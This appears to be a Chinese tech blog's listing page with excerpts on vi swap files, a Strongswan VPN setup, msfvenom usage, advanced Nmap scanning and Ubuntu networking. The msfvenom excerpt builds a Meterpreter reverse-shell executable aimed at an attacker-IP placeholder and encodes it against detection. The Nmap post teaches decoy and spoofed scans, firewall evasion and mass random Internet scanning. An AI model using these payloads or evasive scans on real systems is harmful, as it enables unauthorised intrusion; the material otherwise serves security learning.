linux下vi操作Found a swap file by the name

当我在linux下用vi打开Test.java文件时 [root@localhost tmp]# vi Test.java 会出现如下信息: Dos代码 E325: ATTENTION Found a swap file by the name “.Test.java.swp” owned by: root dated: Wed Dec 713:52:562011 file name: /var/tmp/Test.java modified: YES user name: root host name: localhost process ID: 26153 (still running) While opening file “Test.java” dated: Wed Dec 714:00:462011 NEWER than swap file! (1) Another program may be editing the same file. If this is the case, be careful not to end up with two different instances of the same file when making changes. Quit, or continue with caution. (2) An edit session for this file crashed. If this is the case, use “:recover” or “vim -r Test.java” to recover the changes (see “:help recovery”). If you did this already, delete the swap file “.Test.java.swp” to avoid this message. “Test.java” 11L, 237C Press ENTER or type command to continue 原因是我之前有一次使用vi 操作Test.java文件时出现了异常中断,所以在当前目录下产生了一个.Test.java.swp文件 ...

2016年9月3日 · 1 分钟 · lucien116

使用Strongswan架设Ipsec VPN

本教学介绍了如何使用 Strongswan 5.0.x 在 openSUSE 12.3+ 服务器上架设支持 ikev1/ikev2 的 Ipsec VPN。适用于 openSUSE、iOS、Android、Windows 和其它 Linux。 注意 Strongswan 5 即现在的主力支持版本和 Strongswan 4 的 ipsec.conf 有很大的不同(作废了很多选项),请保证您的版本为 5.0.4+ 本教学才有参考价值。因此请不要往 Debian 这些软件包版本旧的系统上套,同样 openSUSE 用户也不要拿 Debian 的来套。 注意 本文的例子仅以最常见的 VPS/客户机模式为例,假设客户机使用图形客户端,因此并不涉及客户端文本配置的内容。其中的原理和服务器端配置可用于其它用途比如服务器到服务器(Site to Site)的连接,但这种连接的客户端文本配置部分需要领会原理自己写。 注意 本文只适用于有 VPS 的爱好者使用,并不提供已建立好的 demo 供测试,但保证文中出现的配置如无意外如上游改选项,实际中都是能够使用的。因此并不可用于「免费 VPN」这样的话题,如何优惠购买 VPS 请到我们的论坛 forum.suse.org.cn。本文也不讨论如何进行后台计费,但提供了计费软件的名称供 VPN 服务商参考,因此只适用于小团体的共用。如果小群体产生流量纠纷而需区分账户,那解散才是治本的方法,其它都只能治标。 目录 [ 隐藏] 1什么是 IPsec? 2设备/操作系统规格 2.1Linux 2.2Android 2.3iOS/Mac OS X 2.4Windows 3安装 Srongswan 4生成证书(可选) 4.1生成 CA 证书 4.2生成服务器证书 4.3生成客户端证书 4.4生成 pkcs12 证书(可选) 5安装证书 6配置 Strongswan 6.1ipsec.conf 6.2ipsec.secrets 6.3strongswan.conf 7启动 Strongswan 8配置 Iptables 转发 9openSUSE 客户端配置 10其它客户端配置 10.1其它 Linux 10.1.1Chakra Linux 10.2iOS 10.3Android 10.3.1IPSec Xauth PSK 10.3.2"strongSwan VPN Client" for Android 4.0 (ICS)+ 10.4Windows XP/Vista 10.4.1使用 Shrew Soft VPN Client 10.5Windows 7+ 11调试 11.1日志阅读技巧 11.2服务器端调试 11.3Linux 调试 11.4iOS 调试 11.5Android 调试 11.6Windows 调试 12扩展阅读 12.1计费软件 13参考文献 14作者 什么是 IPsec? IPsec 是 虚拟私密网络(VPN) 的一种,用于在服务器和客户端之间建立加密隧道并传输敏感数据之用。它由两个阶段组成,第一阶段(Phrase 1, ph1),交换金钥建立连接,使用互联网金钥交换(ike)协议; 第二阶段(Phrase 2, ph2),连接建立后对数据进行加密传输,使用封装安全载荷(esp)协议。参考: 维基百科 IPsec 词条。 ...

2016年9月3日 · 10 分钟 · lucien116

Meatsploit Framework msfvenom使用简介

2015年6月8日,Wei Chen在rapid7官方博客上发文,将于近期 移除metasploit-framework版本中的msfencoder和msfpayload, 并使用msfvenom取代。官方的msfvenom使用说明 戳 这里 ,下面给出翻译的使用说明。 最近一次更新的msf中已经去掉了这两个工具,同时,msfcli也即将被移除。 kali和BT目前使用的MSF依然是旧版,所以用kali和BT5的小伙伴可以暂时不考虑。在其他平台上编译安装msf的童鞋,可能已经发现这个东西了。 msfvenom命令行选项如下: Options: -p, --payload <payload> 指定需要使用的payload(攻击荷载)。如果需要使用自定义的payload,请使用&#039;-&#039;或者stdin指定 -l, --list [module_type] 列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops, all -n, --nopsled <length> 为payload预先指定一个NOP滑动长度 -f, --format <format> 指定输出格式 (使用 --help-formats 来获取msf支持的输出格式列表) -e, --encoder [encoder] 指定需要使用的encoder(编码器) -a, --arch <architecture> 指定payload的目标架构 --platform <platform> 指定payload的目标平台 -s, --space <length> 设定有效攻击荷载的最大长度 -b, --bad-chars <list> 设定规避字符集,比如: &#039;\x00\xff&#039; -i, --iterations <count> 指定payload的编码次数 -c, --add-code <path> 指定一个附加的win32 shellcode文件 -x, --template <path> 指定一个自定义的可执行文件作为模板 -k, --keep 保护模板程序的动作,注入的payload作为一个新的进程运行 --payload-options 列举payload的标准选项 -o, --out <path> 保存payload -v, --var-name <name> 指定一个自定义的变量,以确定输出格式 --shellest 最小化生成payload -h, --help 查看帮助选项 --help-formats 查看msf支持的输出格式列表 生成payload 生成payload,有有两个必须的选项:-p -f 使用-p 来指定要使用的payload。 可以使用下面的命令来查看所有msf可用的payload列表 ./msfvenom -l payloads -p选项也支持使用使用自定义的payload,需要使用 “-",比如: cat payload_file.bin | ./msfvenom -p - -a x86 --platform win -e x86/shikata_ga_nai -f raw 使用-f 来指定payload的输出格式 举例: ./msfvenom -p windows/meterpreter/bind_tcp -f exe 使用下面的命令,可以产看msf支持的输出格式 ./msfvenom --help-formats 一个典型的msfvenom使用举例如下: $ ./msfvenom -p windows/meterpreter/reverse_tcp lhost=[Attacker&#039;s IP] lport=4444 -f exe -o /tmp/my_payload.exe 对payload进行编码 如果你使用了-b选项(设定了规避字符集),会自动调用编码器。 其他情况下,你需要使用-e选项来使用编码模块,例如: ./msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -f raw 可以使用下面的命令,来查看可用的编码器 ...

2016年8月24日 · 1 分钟 · lucien116

Nmap在实战中的高级用法

Nmap提供了四项基本功能(主机发现、端口扫描、服务与版本侦测、OS侦测)及丰富的脚本库。Nmap既能应用于简单的网络信息扫描,也能用在高级、复杂、特定的环境中:例如扫描互联网上大量的主机;绕开防火墙/IDS/IPS;扫描Web站点;扫描路由器等等。简要回顾Nmap简单的扫描方式: 1 2 3 4 5 6 7 8 9 全面扫描:nmap-T4-Atargetip 主机发现:nmap-T4-sn targetip 端口扫描:nmap-T4 targetip 服务扫描:nmap-T4-sV targetip 操作系统扫描:nmap-T4-Otargetip 上述的扫描方式能满足一般的信息搜集需求。而若想利用Nmap探索出特定的场景中更详细的信息,则需仔细地设计Nmap命令行参数,以便精确地控制Nmap的扫描行为。 下面列举比较实用的高级应用场景和技巧。 1 Nmap高级选项 1.1 查看本地路由与接口 Nmap中提供了–iflist选项来查看本地主机的接口信息与路由信息。当遇到无法达到目标主机或想选择从多块网卡中某一特定网卡访问目标主机时,可以查看nmap –iflist中提供的网络接口信息。 nmap –iflist 1.2 指定网口与IP地址 在Nmap可指定用哪个网口发送数据,-e 选项。接口的详细信息可以参考–iflist选项输出结果。 示例: nmap -e eth0 targetip Nmap也可以显式地指定发送的源端IP地址。使用-S 选项,nmap将用指定的spoofip作为源端IP来发送探测包。 另外可以使用Decoy(诱骗)方式来掩盖真实的扫描地址,例如-D ip1,ip2,ip3,ip4,ME,这样就会产生多个虚假的ip同时对目标机进行探测,其中ME代表本机的真实地址,这样对方的防火墙不容易识别出是扫描者的身份。 nmap -T4 -F -n -Pn -D192.168.1.100,192.168.1.101,192.168.1.102,ME 192.168.1.1 1.3 定制探测包 Nmap提供–scanflags选项,用户可以对需要发送的TCP探测包的标志位进行完全的控制。可以使用数字或符号指定TCP标志位:URG, ACK, PSH,RST, SYN,and FIN。 例如, nmap -sX -T4 –scanflags URGACKPSHRSTSYNFINtargetip 此命令设置全部的TCP标志位为1,可以用于某些特殊场景的探测。 另外使用–ip-options可以定制IP包的options字段。 使用-S指定虚假的IP地址,-D指定一组诱骗IP地址(ME代表真实地址)。-e指定发送探测包的网络接口,-g(–source- port)指定源端口,-f指定使用IP分片方式发送探测包,–spoof-mac指定使用欺骗的MAC地址。–ttl指定生存时间。 2 扫描防火墙 防火墙在今天网络安全中扮演着重要的角色,如果能对防火墙系统进行详细的探测,那么绕开防火墙或渗透防火墙就更加容易。所以,此处讲解利用Nmap获取防火墙基本信息典型的用法。 为了获取防火墙全面的信息,需尽可能多地结合不同扫描方式来探测其状态。在设计命令行参数时,可以综合网络环境来微调时序参数,以便加快扫描速度。 SYN扫描 首先可以利用基本的SYN扫描方式探测其端口开放状态。 nmap -sS -T4 www.lucien116.com 扫描输出为: 1 2 3 4 5 6 7 8 9 All997ports are filtered PORT STATE SERVICE 80/tcp open http 113/tcp closed auth 507/tcp open crs 我们可以看到SYN方式探测到3个端口开放,而有997个端口被过滤。Nmap默认扫描只扫描1000个最可能开放的端口,如果想扫描全部的端口. 使用命令nmap -sS -T4 -p- www.lucien116.com FIN扫描 然后可以利用FIN扫描方式探测防火墙状态。FIN扫描方式用于识别端口是否关闭,收到RST回复说明该端口关闭,否则说明是open或filtered状态。 nmap -sF -T4 www.lucien116.com 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 PORT STATE SERVICE 7/tcp open|filtered echo 9/tcp open|filtered discard 11/tcp open|filtered systat 13/tcp open|filtered daytime 23/tcp open|filtered telnet 25/tcp open|filtered smtp 37/tcp open|filtered time 79/tcp open|filtered finger 80/tcp open|filtered http 更多端口,此处省略 ACK扫描 然后利用ACK扫描判断端口是否被过滤。针对ACK探测包,未被过滤的端口(无论打开、关闭)会回复RST包。 nmap -sA -T4 www.lucien116.com 扫描输出为: 1 2 3 4 5 6 7 8 9 Notshown:997unfiltered ports PORT STATE SERVICE 135/tcp filtered msrpc 1434/tcp filtered ms-sql-m 32777/tcp filtered sometimes-rpc17 从结果可以997个端口是未被过滤的(unfiltered),而3个(135/1434/32777)被过滤了。所以,将ACK与FIN扫描 的结果结合分析,我们可以找到很多开放的端口。例如7号端口,FIN中得出的状态是:open或filtered,从ACK中得出的状态是 unfiltered,那么该端口只能是open的。 Window扫描 当然也可以利用Window扫描方式,得出一些端口信息,可以与之前扫描分析的结果相互补充。Window扫描方式只对某些TCPIP协议栈才有效。 window扫描原理与ACK类似,发送ACK包探测目标端口,对回复的RST包中的Window size进行解析。在某些TCPIP协议栈实现中,关闭的端口在RST中会将Window size设置为0;而开放的端口将Window size设置成非0的值。 nmap -sW -p- -T4 www.lucien116.com 输出结果: 1 2 3 4 5 6 7 8 9 10 11 PORT STATE SERVICE 7/tcp open echo 9/tcp open discard 11/tcp open systat 13/tcp open daytime 更多端口,此处省略 在采用多种方式获取出防火墙状态后,可以进一步进行应用程序与版本侦测及OS侦测。 3 扫描路由器 Nmap内部维护了一份系统与设备的数据库(nmap-os-db),能够识别数千种不同系统与设备。所以,可以用来扫描主流的路由器设备。 3.1 扫描思科路由器 nmap -p1-25,80,512-515,2001,4001,6001,9001 10.20.0.1/16 思科路由器会在上述端口中运行了常见的服务。列举出上述端口开放的主机,可以定位到路由器设备可能的IP地址及端口状态。 3.2 扫描路由器TFTP nmap –sU –p69 –nvv target 大多数的路由器都支持TFTP协议(简单文件传输协议),该协议常用于备份和恢复路由器的配置文件,运行在UDP 69端口上。使用上述命令可以探测出路由器是否开放TFTP。 3.3 扫描路由器操作系统 与通用PC扫描方式类似,使用-O选项扫描路由器的操作系统。-F用于快速扫描最可能开放的100个端口,并根据端口扫描结果进一步做OS的指纹分析。 nmap -O -F -n 192.168.1.1 4 扫描互联网 Nmap内部的设计非常强大灵活,既能扫描单个主机、小型的局域网,也可以扫描成千上万台主机从中发掘用户关注的信息。扫描大量主机,需要对扫描时序等参数进行仔细的优化。 4.1 发现互联网上web服务器 nmap -iR 100000 -sS -PS80 -p 80 -oG nmap.txt 随机地产生10万个IP地址,对其80端口进行扫描。将扫描结果以greppable(可用grep命令提取)格式输出到nmap.txt文件。 可以使用grep命令从输出文件提取关心的细节信息。 4.2 统计互联网主机基本数据 Nmap的创始人Fyodor在2008年的Black Hat大会发表一篇演讲,讲的是如何使用Nmap来扫描互联网(Nmap: Scanning the Internet),资料地址: http://nmap.org/presentations/BHDC08/。 Fyodor进行互联网扫描的初衷是统计出网络经验数据并用之优化Nmap的性能。例如,根据统计出每个端口开放的概率,优先扫描常见端口,以节省用户的时间。 产生随机IP地址 产生100万个随机的IP地址,并将之保存到文件中,方便后续扫描时作为参数输入。 nmap -iR 1200000 -sL -n | grep “not scanned” | awk ‘{print $2}’ | sort -n | uniq >! tp; head -25000000 tp >! tcp-allports-1M-IPs; rm tp 上述命令含义:随机生成1200000个IP地址(-iR 120000),并进行列表扫描(-sL,列举出IP地址,不进行真正的扫描),不进行dns解析操作(-n),这样将产生Nmap列表扫描的结果。在此 结果中搜出未扫描的行(grep “not scanned”),打印出每一行的第二列内容(awk ‘{print $2}’,也就是IP地址),然后对获取到的IP地址进行排序(sort -n),然后剔除重复IP地址,将结果保存到临时文件tp,再取出前1000000个IP地址保存到tcp-allports-1M-IPs文件中,删除 临时文件。 总之,此处产生了1000000个随机IP地址存放在tcp-allports-1M-IPs文件中。 优化主机发现 nmap -sP -PE -PP -PS21,22,23,25,80,113,31339-PA80,113,443,10042 –source-port 53 -T4 -iL tcp-allports-1M-IPs 上述命令进行主机发现:使用产生的IP地址(-iL tcp-allports-1M-IPs),指定发送包的源端口为53(–source-port 53,该端口是DNS查询端口,一般的防火墙都允许来自此端口的数据包),时序级别为4(-T4,探测速度比较快),以TCP SYN包方式探测目标机的21,22,23,25,80,113,31339端口,以TCP ACK包方式探测对方80,113,443,10042端口,另外也发送ICMP ECHO/ICMP TIMESTAMP包探测对方主机。只要上述的探测包中得到一个回复,就可以证明目标主机在线。 完整的扫描命令 在准备了必要的IP地址文件,并对主机发现参数优化后,我们就得到最终的扫描命令: nmap -S [srcip] -d –max-scan-delay 10 -oAlogs/tcp-allports-%T-%D -iL tcp-allports-1M-IPs –max-retries 1–randomize-hosts -p- -PS21,22,23,25,53,80,443 -T4 –min-hostgroup 256 –min-rate175 –max-rate 300 上述命令用于扫描互联网上100万台主机全部的TCP端口的开放情况。 使用包含100万个IP地址的文件(-iL tcp-allports-1M-IPs),源端IP地址设置为srcip(指定一个IP地址,保证该IP地址位于统一局域网中,否则无法收到目标机的回 复包),主机发现过程使用TCP SYN包探测目标机的21,22,23,25,53,80,443,扫描过程将随机打乱主机顺序(–randomize-hosts,因为文件中的IP 已经排序,这里将之打乱,避免被防火墙检查出),端口扫描过程检查全部的TCP端口(-p-,端口1到65535),使用时序级别为4(-T4,速度比较 快),将结果以XML/grepable/普通格式输出到文件中(-oA logs/tcp-allports-%T-%D,其中%T表示扫描时间,%D表示扫描日期)。 -d表示打印调试出信息。 –max-scan-delay 10表示发包最多延时10秒,防止特殊情景下等待过长的时间。 –max-retries 1,表示端口扫描探测包最多被重传一次,防止Nmap在没有收到回复的情况下多次重传探测包,当然这样也会降低探测的准确性。 –min-host-group 256表示进行端口扫描与版本侦测时,同时进行探测的主机的数量,这里至少256个主机一组来进行扫描,可以加快扫描速度。 –min-rate 175和–max-rate 300,表示发包速率介于175和300之间,保证扫描速度不会太慢,也不会因为速率过高引起目标机的警觉。 扫描结果 Fyodor组织的此次扫描得出很多重要结论,统计出了互联网最有可能开放的10个TCP端口。 80 (http) 23 (telnet) 22 (ssh) 443 (https) 3389 (ms-term-serv) 445 (microsoft-ds) 139 (netbios-ssn) 21 (ftp) 135 (msrpc) 25 (smtp) 最有可能开放的10个UDP端口。 137 (netbios-ns) 161 (snmp) 1434 (ms-sql-m) 123 (ntp) 138 (netbios-dgm) 445 (microsoft-ds) 135 (msrpc) 67 (dhcps) 139 (netbios-ssn) 53 (domain) 5 扫描Web站点 Web是互联网上最广泛的应用,而且越来越多的服务倾向于以Web形式提供出来,所以对Web安全监管也越来越重要。目前安全领域有很多专门的 Web扫描软件(如AppScan、WebInspect、W3AF),能够提供端口扫描、漏洞扫描、漏洞利用、分析报表等诸多功能。而Nmap作为一款 开源的端口扫描器,对Web扫描方面支持也越来越强大,可以完成Web基本的信息探测:服务器版本、支持的Method、是否包含典型漏洞。功能已经远远 超过同领域的其他开源软件,如HTTPrint、Httsquash。 目前Nmap中对Web的支持主要通过Lua脚本来实现,NSE脚本库中共有50多个HTTP相关的脚本。 扫描实例: nmap -sV -p 80 -T4 –script http*,defaultscanme.nmap.org 上面以扫描scanme.nmap.org的Web应用展示Nmap提供Web扫描能力,从图中可以看到扫描结果中提供了比较丰富的信息。 首先是应用程序及版本: Apachehttpd 2.2.14 (Ubuntu) 然后搜出了该站点的affiliate-id:该ID可用于识别同一拥有者的不同页面。 然后输出HTTP-headers信息,从中查看到基本配置信息。 从http-title中,可以看到网页标题。某些网页标题可能会泄漏重要信息,所以这里也应对其检查。

2016年8月24日 · 3 分钟 · lucien116

Ubuntu中启用关闭Network-manager网络设置问题

【Server版本】 在UbuntuServer版本中,因为只存有命令行模式,所以要想进行网络参数设置,只能通过修改/etc/network/interfaces。具体设置方法如下: (1) UbuntuServer 修改 IP地址 打开/etc/network/interfaces sudo vim/etc/network/interfaces 加入以下语句: auto eth0 iface eth0inet static addressxxx.xxx.xxx.xxx #IP地址 netmaskxxx.xxx.xxx.xxx #子网掩码 gatewayxxx.xxx.xxx.xxx #网关 (2) UbuntuServer 修改 DNS 打开/etc/resolv.conf sudo vim/etc/resolv.conf 改为如下内容: searchlocaldomain #如果本Server为DNS服务器,可以加上这一句,如果不是,可以不加 nameserver172.16.3.4 #希望修改成的DNS nameserver172.16.3.3 #希望修改成的DNS (3) UbuntuServer 最后一步,也是最重要的一步 在rc.local里加入这个重启网络配置的命令: sudo/etc/init.d/networking restart 【Desktop版本】 在Desktop版本中,除了可以修改/etc/network/interfaces来进行配置以外;还可以直接在network-manager中配置。通过 interfaces修改的方法参照Server版本。network-manager的配置和直观,按照提示一步一步操作即可,有兴趣的朋友,可以自行Google或者Baidu。 但如果修改了interfaces,又配置了network-manager(以下简称nm),你就会发现出现了一些莫名其妙的问题: 1,interfaces和 nm中的网络设置不一样,系统实际的IP是哪个? 2,有时候莫名其妙的,界面右上角的网络连接图标就丢失了。 3,明明在nm中配置了正确的网络设置,为什么就上不了网呢? 其实,我们要知道 interfaces和 nm之间的关系,这些问题就不难解释了。 首先,当系统内没有第三方网络管理工具(比如nm)时,系统默认使用interfaces文件内的参数进行网络配置。(就像Server版本一样) 接着,当系统内安装了 nm之后,nm默认接管了系统的网络配置,使用nm 自己的网络配置参数来进行配置。 但是,如果用户在安装nm之后(Desktop版本默认安装了nm),自己手动修改了interfaces 文件,那nm 就自动停止对系统网络的管理,系统改使用interfaces 文件内的参数进行网络配置。 此时,再去修改nm 内的参数,不影响系统实际的网络配置。若要让nm 内的配置生效,必须重新启用nm 接管系统的网络配置。 现在知道了两者之间的工作关系,再看上面的三个问题: 1,要看nm是否接管,如果没有接管,系统实际的IP设置以interfaces 中的为准。反之,以nm 中的为准。 2,当nm 停止接管的时候,网络连接图标就丢失了。 3,同样是接管的问题。 如果用户希望在Desktop版本中,直接使用interfaces 进行网络配置,那最好删除network-manager 。 如果在出现上述问题之后,希望能继续使用nm 来进行网络配置,则需要进行如下操作: sudo servicenetwork-manager stop # 停止 nm服务 sudo rm/var/lib/NetworkManager/NetworkManager.state # 移除nm 的状态文件 sudo gedit/etc/NetworkManager/nm-system-settings.conf # 打开nm 的配置文件 ##里面有一行:managed=true ## 如果你手工改过/etc/network/interfaces,nm会自己把这行改成:managed=false ## 将false 修改成true sudo servicenetwork-manager start

2016年8月18日 · 1 分钟 · lucien116